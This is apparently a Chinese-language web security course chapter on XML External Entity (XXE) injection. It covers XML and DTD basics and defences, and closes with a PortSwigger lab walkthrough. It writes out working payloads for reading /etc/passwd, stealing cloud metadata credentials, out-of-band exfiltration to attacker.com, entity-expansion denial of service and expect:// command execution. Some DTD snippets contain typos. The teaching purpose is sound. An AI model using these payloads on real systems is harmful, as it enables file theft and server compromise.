WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
12-XML 外部实体注入【XXE】
浏览
1
## 概述 XXE 的全称是 XML External Entity Injection(XML 外部实体注入),是一种针对解析 XML 格式数据的应用程序安全漏洞。 其核心是利用 XML 文档中 “外部实体” 的定义功能,注入恶意外部资源,诱导 XML 解析器加载或执行这些资源,从而窃取敏感信息、探测内网或发起攻击。 在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造 (SSRF) 攻击,从而升级 XXE 攻击以危害底层服务器或其他后端基础设施。 ## XML XML 全称 可扩展标记语言(eXtensible Markup Language),是一种用于存储和传输数据的标记语言,核心目的是定义数据的结构和含义,而非直接控制数据的显示(与 HTML 不同)。 具有平台无关性、可扩展性和自我描述性,广泛用于数据交换、配置文件、文档标准化等场景。 > 特性 **可扩展性(Extensible)** 与 HTML 固定的预定义标签(如 \<p>、\<div>)不同,XML 没有预设标签,用户可根据需求自定义标签(如 \<user>、\<order-id>),灵活适配不同业务场景的数据结构。 **平台无关性** XML 是纯文本格式,不依赖特定操作系统或编程语言(如 Java、Python、C# 均能解析),是跨系统数据交换的常用格式。 **自我描述性** XML 标签本身能反映数据的含义(如 \<name>张三\</name> 直接说明内容是 “姓名”),无需额外文档解释,数据可读性强。 **严格的语法规则** - 必须有且仅有一个根元素(所有其他元素都嵌套在根元素内); - 标签必须成对出现(如 \<user> 对应\ \</user>),空标签需闭合(如 \<age/>); - 标签区分大小写(\<Name> 和 \<name> 是不同标签); - 属性值必须用引号包裹(如 \<user id="123">)。 示例: ```xml <?xml version="1.0" encoding="UTF-8"?> <!-- XML 声明:版本、编码 --> <users> <!-- 根元素:所有用户数据的容器 --> <user id="1"> <!-- 子元素:单个用户,含属性 id --> <name>张三</name> <!-- 嵌套子元素:姓名 --> <age>25</age> <!-- 嵌套子元素:年龄 --> <email>zhangsan@example.com</email> <!-- 嵌套子元素:邮箱 --> </user> <user id="2"> <!-- 另一个用户 --> <name>李四</name> <age>30</age> <email>lisi@example.com</email> </user> </users> <!-- 根元素闭合 --> ``` ## DTD DTD 全称 文档类型定义(Document Type Definition),是 XML 中用于约束和定义 XML 文档结构的规则集。 相当于 XML 文档的 “语法说明书”,规定了 XML 中允许出现的元素、属性、元素的嵌套关系、数据类型以及实体引用等,确保 XML 文档的结构统一、合法,便于不同系统间解析和交换。 ### 核心作用 DTD 的核心目标是 “规范化 XML 结构”,具体可拆解为 4 个关键功能: 1. 定义允许的元素:指定 XML 中可出现的元素名称及元素的 “内容模型”(如元素是文本、子元素,还是混合内容)。 例:规定 XML 中只能有 \<users>、\<user>、\<name> 等元素,不允许出现未定义的 \<abc> 元素。 2. 约束元素的嵌套关系:明确子元素的顺序、出现次数(如 “必须出现”“可选”“可重复”)。 例:规定 \<user> 元素下必须包含 \<name> 和 \<age>,且 \<name> 必须在 \<age> 之前。 3. 定义元素的属性:指定元素可拥有的属性名、属性类型(如字符串、枚举值)及默认值(如属性是否必填、是否有默认值)。 例:规定 \<user> 元素必须有 id 属性,且 id 是数字类型。 4. 声明实体:定义可复用的文本片段(如通用的公司名称、特殊符号),简化 XML 编写并统一维护。 例:定义实体 &company; 对应 “XX 科技”,XML 中可直接使用 &company; 代替重复书写。 ### 两种引用方式 DTD 不直接包含在 XML 数据中,而是通过 “引用” 关联到 XML 文档,分为内部 DTD 和 外部 DTD 两种方式。 **内部DTD** 内部 DTD 直接写在 XML 文档的 “文档类型声明” 中,仅对当前 XML 文档生效,适合简单、专属的结构约束。 ```xml-dtd <?xml version="1.0" encoding="UTF-8"?> <!-- 内部 DTD:用 [ ... ] 包裹 DTD 规则 --> 变量名 = 变量值 <!DOCTYPE 根元素名 [ <!-- DTD 规则(元素、属性、实体声明)--> <!ENTITY 实体名 实体值> ]> <!-- XML 数据内容 --> <根元素名> &实体名; ... </根元素名> ``` **外部DTD** 外部 DTD 是一个独立的文件(后缀为 .dtd),可被多个 XML 文档引用,适合需要统一约束的场景(如行业标准、多系统共用结构)。 根据是否公开,外部 DTD 又分为 系统外部 DTD(自定义、私有)和 公共外部 DTD(公开、标准化,如 HTML 的 DTD)。 系统外部DTD:引用自定义的 .dtd 文件,需指定文件路径(本地路径或网络 URL)。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!-- 系统外部 DTD:SYSTEM 后接 .dtd 文件路径 --> <!DOCTYPE 根元素名 <!ENTITY 实体名 SYSYEM/PUBLIC “外部实体资源zi kj”> SYSTEM "dtd文件路径(本地/URL)"> <!-- XML 数据:遵循外部 DTD 的规则 --> <根元素名> ... </根元素名> ``` 公共外部DTD:引用公开的、标准化的 DTD(如 W3C 定义的 HTML 4.01 DTD),需用 PUBLIC 标识,并指定 “公共标识符”(用于定位标准 DTD)。 语法结构:\<!DOCTYPE 根元素名 PUBLIC "公共标识符" "DTD文件URL(可选)"> ```xml <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>...</head> <body>...</body> </html> ``` ### 基本语法 DTD 由 元素声明、属性声明、实体声明 三部分核心语法组成。 **元素声明** 用于指定元素名称及 “内容模型”(元素包含的内容类型)。 语法:\<!ELEMENT 元素名 内容模型> 内容模型可选值: - #PCDATA:纯文本(不可包含子元素),如 \<!ELEMENT name (#PCDATA)>; - 子元素列表:指定子元素及顺序 / 次数,如 \<!ELEMENT user (name, age)>; - EMPTY:元素无内容(空标签),如 \<!ELEMENT img EMPTY>; - ANY:元素可包含任意内容(文本或子元素),如 \<!ELEMENT note ANY>。 子元素 “出现次数” 的符号: | 符号 | 含义 | 示例 | | | ---- | ------------------ | ------------------------ | ------------------------- | | 无 | 必须出现 1 次 | (name, age) → 各 1 次 | | | ? | 可选(0 或 1 次) | (phone?) → 可有可无 | | | * | 可重复(0 或多次) | (tag*) → 0 次及以上 | | | + | 至少 1 次 | (user+) → 1 次及以上 | | | \| | 多选一(子元素任选一个) | (name\|nickname) → 选一个 || **属性声明** 用于指定元素可拥有的属性、属性类型以及默认值。 语法:\<!ATTLIST 元素名 属性名 属性类型 默认值> 常见 “属性类型”: - CDATA:普通字符串(如 id CDATA); - (值1|值2|值3):枚举(属性值只能是列出的选项),如 gender (male|female); - ID:属性值是唯一标识符(整个 XML 中不可重复),如 id ID。 常见 “默认值”: | 关键字 | 含义 | 示例 | | ----------- | -------------------------- | -------------------------- | | #REQUIRED | 属性必填(不可省略) | id CDATA #REQUIRED | | #IMPLIED | 属性可选(可省略) | phone CDATA #IMPLIED | | #FIXED "值" | 属性值固定(必须等于该值) | version CDATA #FIXED "1.0" | | "默认值" | 可选,省略时用默认值 | city CDATA "Beijing" | **实体声明** 实体是 XML 中的 “文本占位符”,用于定义重复使用的内容(如通用文本、特殊符号),分为 通用实体(XML 中使用)和 参数实体(仅 DTD 内部使用)。 通用实体语法结构:\<!ENTITY 实体名 "实体内容">,在XML 中用 &实体名; 引用。 ```dtd <!DOCTYPE users [ <!-- 定义通用实体:&company; 对应“XX科技有限公司” --> <!ENTITY company "XX科技有限公司"> <!ELEMENT users (user+)> <!ELEMENT user (name, company)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> ]> <users> <user> <name>张三</name> <company>&company;</company> <!-- 引用实体,解析后为“XX科技有限公司” --> </user> </users> ``` 参数实体语法结构:\<!ENTITY % 实体名 "实体内容">,仅DTD内部用 %实体名; 引用。 ```dtd <!DOCTYPE users [ <!-- 定义参数实体:%common; 对应重复的子元素 --> <!ENTITY % common "(name, age, email)"> <!-- 引用参数实体,等价于 <!ELEMENT user (name, age, email)> --> <!ELEMENT user %common;> <!ELEMENT users (user+)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ELEMENT email (#PCDATA)> ]> ``` ## 核心原理 要理解 XXE,需先明确两个基础概念:XML 实体 和 外部实体。 **XML实体** XML 实体:类似编程中的 “变量”,用于在 XML 文档中定义可复用的内容,分为 “内部实体” 和 “外部实体”。 内部实体:实体内容直接在 XML 中定义,例如: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY name "Alice"> <!-- 内部实体:name的值为Alice --> ]> <note> <to>&name;</to> <!-- 使用实体,最终解析为 <to>Alice</to> --> </note> ``` **外部实体** 实体内容通过SYSTEM关键字引用外部资源(如本地文件、网络 URL),例如: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY ext SYSTEM "file:///etc/passwd"> <!-- 外部实体:引用本地/etc/passwd文件 --> ]> <note>&ext;</note> <!-- 使用外部实体,解析器会读取文件内容并替换 --> ``` 触发条件: 应用程序接收并解析用户可控的 XML 数据(如 API 请求体、文件上传中的 XML、配置文件等); XML 解析器未禁用外部实体解析(默认情况下,许多旧版解析器会启用外部实体,这是漏洞的关键)。 当满足以上条件时,攻击者可构造包含恶意外部实体的 XML payload,诱导解析器访问敏感资源(如本地文件、内网服务),并将结果返回给攻击者。 ## 典型攻击场景与危害 XXE 的危害范围取决于 XML 解析器的权限和外部实体可访问的资源。 ### 读取本地敏感文件 这是 XXE 最典型的利用方式,攻击者通过外部实体引用服务器本地的敏感文件(如配置文件、密码文件、日志等),并通过 XML 解析结果泄露内容。 例如:通过 file:// 协议读取服务器本地文件。 ```xml-dtd <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <user>&file;</user> ``` 若应用程序返回解析后的 XML 内容,攻击者就能直接获取/etc/passwd中的用户账号信息。 > 变种技巧 使用 php://filter 读取 PHP 文件源码(Base64 编码绕过) ```xml-dtd <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ``` Windows 下通过 file:///c:/windows/win.ini 验证路径 ### 探测内网服务 XML 外部实体支持通过http://等协议访问网络资源,攻击者可利用这一点,让 XML 解析器(运行在服务器上)作为 “跳板”,探测内网 IP、端口及服务状态(如内网数据库、管理后台)。 例如:探测内网 192.168.1.1 的 8080 端口是否开放。 ```xml-dtd <!DOCTYPE data [ <!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api"> ]> <data>&ssrf;</data> ``` 通过观察请求的响应时间(超时则端口可能关闭,快速响应则端口开放),攻击者可绘制内网拓扑。 > **高级利用**: 攻击云元数据服务(如 AWS IMDSv1): ```xml-dtd <!ENTITY metadata SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ``` 结合 DNS 回传数据: ```xml-dtd <!ENTITY exfil SYSTEM "http://attacker.com/?data=file:///etc/passwd"> ``` ### 盲注 XXE(Blind XXE) 当响应不可见时,通过带外通信(OOB, Out-of-Band)泄露数据: ```xml-dtd <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd"> %dtd; ]> <data>&exfil;</data> ``` 攻击者托管 malicious.dtd: ```xml-dtd <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> %exfil; ``` ### 拒绝服务(DoS) 通过构造 “递归实体” 或引用超大文件,可导致 XML 解析器耗尽服务器资源(CPU、内存),引发拒绝服务。 例如:递归实体导致解析崩溃。 ```xml-dtd <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY a "&b;&b;&b;&b;&b;"> <!-- 引用b 5次 --> <!ENTITY b "&c;&c;&c;&c;&c;"> <!-- 引用c 5次 --> <!ENTITY c "&d;&d;&d;&d;&d;"> <!-- 引用d 5次 --> <!ENTITY d "x"> ]> <test>&a;</test> <!-- 最终解析为 5^4 = 625个x,递归层级过深会耗尽内存 --> ``` ### 执行命令 大部分情况下,XXE 无法直接执行命令,但在特定环境下(如 XML 解析器支持expect://等特殊协议,或结合其他漏洞),可间接实现命令执行。 PHP expect 模块:执行系统命令(需 PHP 环境且启用expect模块) ```xml <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY cmd SYSTEM "expect://whoami"> <!-- 执行whoami命令 --> ]> <test>&cmd;</test> ``` Jar 协议(Java):触发反序列化(需特定环境配置) 这种场景较少见,但一旦存在,危害极大(直接获取服务器控制权)。 ## XXE 漏洞的测试与验证 ### 手动检测 替换 XML 声明:插入恶意 DTD 并观察响应变化。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` 修改 Content-Type:将表单的 application/json 改为 application/xml 测试解析器兼容性。 ### 自动化工具 Burp Suite:使用 Scanner 模块或 Collaborator 检测 OOB 请求。 XXEinjector:自动化生成 Payload 并测试多种协议。 OWASP ZAP:主动扫描模式检测 XXE 潜在风险。 ### 盲注检测信号 DNS 查询:观察是否存在 dig 请求到攻击者域名。 HTTP 回调:检查是否接收到来自目标服务器的 GET/POST 请求。 ## XXE 漏洞防御策略 不同编程语言和 XML 解析库的配置方式不同,核心是关闭 “外部实体支持” 和 “DOCTYPE 声明解析”。 ### 禁用外部实体解析 - Java:配置 DocumentBuilderFactory ```xml factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); ``` - PHP:使用 libxml_disable_entity_loader(true); - Python:defusedxml 库替代标准库 ### 输入过滤与净化 若无法完全禁用 DOCTYPE(部分业务需使用内部实体),需严格过滤用户输入的 XML 中与外部实体相关的关键字,例如: - 禁止SYSTEM、PUBLIC(外部实体的标识); - 禁止file://、http://、gopher://等危险协议; - 过滤<!DOCTYPE、<!ENTITY等 DTD 声明标签。 ### 使用安全的 XML 解析库 避免使用默认支持外部实体的旧版解析库,优先选择安全性更高的现代库,例如: - 替代 Java 的DOM/SAX:使用Jackson或FastXML(默认不解析外部实体); - 替代 Python 的xml.etree.ElementTree:使用lxml并显式禁用实体解析。 ### 限制 XML 解析的资源权限 从操作系统层面限制 XML 解析器进程的权限,例如: - 禁止解析进程访问敏感目录(如/etc/、C:\Windows\); - 禁止解析进程访问内网网络(通过防火墙限制出站连接)。 ## XXE 与 SSRF XXE 常与 SSRF 混淆,需明确两者的核心差异: | 特性 | XXE(XML 外部实体注入) | SSRF(服务器端请求伪造) | | -------- | --------------------------------- | ----------------------------------------------- | | 依赖场景 | 仅针对**解析 XML 数据**的应用程序 | 针对**可发起服务器端请求**的功能(如 URL 预览) | | 触发方式 | 构造恶意 XML 的外部实体 | 构造恶意 URL 参数 | | 核心载体 | XML 文档的 DOCTYPE 声明 | HTTP/HTTPS 等协议的请求目标 | ## 实验 靶机地址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files 已知:靶机中商品具有“Check stock”功能,可以解析 XML 输入并在响应中返回任何意外值。 任务:注入一个 XML 外部实体来检索文件的内容/etc/passwd。 1、访问任意一商品详情,点击【Check stock】,进行抓包,发现请求体是用xml格式。  2、构造XXE的Payload。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck> ``` 3、将原来的XML 替换为构造的Payload,再进行发包。  
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~